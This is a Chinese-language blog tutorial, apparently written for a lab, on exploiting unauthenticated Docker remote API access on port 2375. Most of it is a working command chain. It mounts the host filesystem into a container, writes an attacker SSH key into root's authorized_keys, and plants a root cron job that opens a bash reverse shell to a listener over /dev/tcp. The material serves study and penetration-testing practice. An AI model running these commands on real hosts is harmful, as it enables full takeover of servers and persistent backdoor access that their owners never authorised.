05.docker未授权访问
本文最后更新于108 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、Docker简介

Docker是一个开源的引擎,可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。

二、Docker未授权访问漏洞原理

如果在docker上配置了远程访问,docker节点上会开放一个TCP端口2375,绑定在0.0.0.0上,如果没有做限制访问来源的话,攻击者就可以通过Docker未授权来控制服务器。

三、漏洞影响

攻击者利用 dockerclient 或者 http 直接请求就可以访问这个APl,可能导致敏感信息泄露,也可以删除Docker上的数据。攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。

四、漏洞环境搭建

Docker未授权访问漏洞详解_docker api未授权访问漏洞-CSDN博客

五、漏洞验证

使用nmap进行扫描,发现开放2375端口
Pasted image 20250413094451.png

访问 http://your-ip:2375/version ;若能访问,证明存在未授权访问漏洞
Pasted image 20250413094400.png

六、docker链接目标机器

通过docker client使用-H参数连接目标主机的docker,
查询目标系统运行的所有容器

docker -H tcp://192.168.58.128 ps -a    

Pasted image 20250413161422.png

列出所有镜像

docker -H tcp://192.168.58.128 images

Pasted image 20250413161908.png

开启一个停止的容器

docker -H tcp://192.168.58.128 start 3dc8d67b679

连接一个已经启动的容器:四种方法

docker - H tcp://10.1.1.200 exec -it 3dc8d67b679 bash

docker - H tcp://10.1.1.200 attach 3dc8d67b679(**容器id**)

docker -H tcp://10.1.1.200 run -it -v /:/mnt--entrypoint /bin/bash 4c9608fd76ba(镜像的id)  
//mnt为挂载点  ----entrypoint是入口

docker -H tcp://10.1.1.200:2375 run -it -v /:/mnt busybox chroot /mnt sh    
//创建一个新的容器busybox容器,将宿主机的磁盘挂载到容器

七、漏洞利用

(1)写ssh公钥得到shell

1)启动一个容器,挂载宿主机的/mnt目录

docker -H tcp://192.168.58.128 run -it -v /:/mnt --entrypoint /bin/bash 5d0da3dc9764

Pasted image 20250413162003.png

注意:使用的是镜像id

2)生成一个ssh公钥

ssh-keygen -t rsa

Pasted image 20250413162141.png

3)查看生成的公钥

Pasted image 20250413162330.png

4)将公钥写到目标/root/.ssh/authorized_keys文件中

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6mirMCpF51nFL/jtqYPGar7SiEOWa+IFI4Gm3PcCkwd9mll7/Cxz6Sxf3IjtNqC0QvauIguTsQKrV5EI9tWcEAnho2VJHu+mYqjHO4+P/eBPl1B5LSt3bty7CIpp7D3UXC+oyaRu806U6VnVGeU/NzZq91mS/nv5vDSuOuF+TSqXF+b0KmS16nKAR0NrWh+pUOVBNx+0VZi5is+U0Nb2/Pa4g7pWecgIgh/hd2URj5+Kj5JH86DnIDvn922U8wu5D3EpZLwUyAEneLAG3rlRNrNkNyrVuQB0a2qmwK8FWgG36i+bg1UwYbvniBJboDPoRXpEiA98SRlkyZjMNh6tUAtKry90yX+zzRFiwQFiCzFX7HAoF0zdeKVpCc5KXgyZJV5P6+A8mH8tF3eXMz0odmXPVjN74e32ldm0t8aybXVRJfyI00PF/u9hXAGIMp3X1XIBSGnPTRce2sZt1eL0Sc4UQj89tgfzTsTBmiJg0LWD1RKtmliMa/3ly9EfesfE= root@kali"> /mnt/root/.ssh/authorized_keys

>这个代表的意思为覆盖 所以在最后一句加入的意思是讲公钥内容覆盖到/mnt/root/.ssh/authorized_keys中
Pasted image 20250413162252.png

5)ssh进行连接

ssh root@192.168.58.128 -i id_rsa

Pasted image 20250413163300.png

(2)写定时任务获取shell

1)启动容器挂载到宿主机

docker -H tcp://192.168.58.128 run -it -v /:/mnt --entrypoint /bin/bash 5d0da3dc9764

注意:使用的是镜像id

2)kali开启监听

nc -lvvp 1212

3)写入定时反弹shell

echo '*/1 * * * * /bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.58.129/1212 0>&1"' > /mnt/var/spool/cron/crontabs/root

Pasted image 20250413230759.png

用户配置文件:

/var/spool/cron/crontabs/root

*/1 * * * * /bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.58.129/1212 0>&1"

全局配置文件:

/etc/crontab

*/1 * * * * root /bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.58.129/1212 0>&1"

4)查看定时任务

cat /mnt/var/spool/cron/crontabs/root

Pasted image 20250413223724.png

5)获得目标shell

Pasted image 20250413223822.png

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇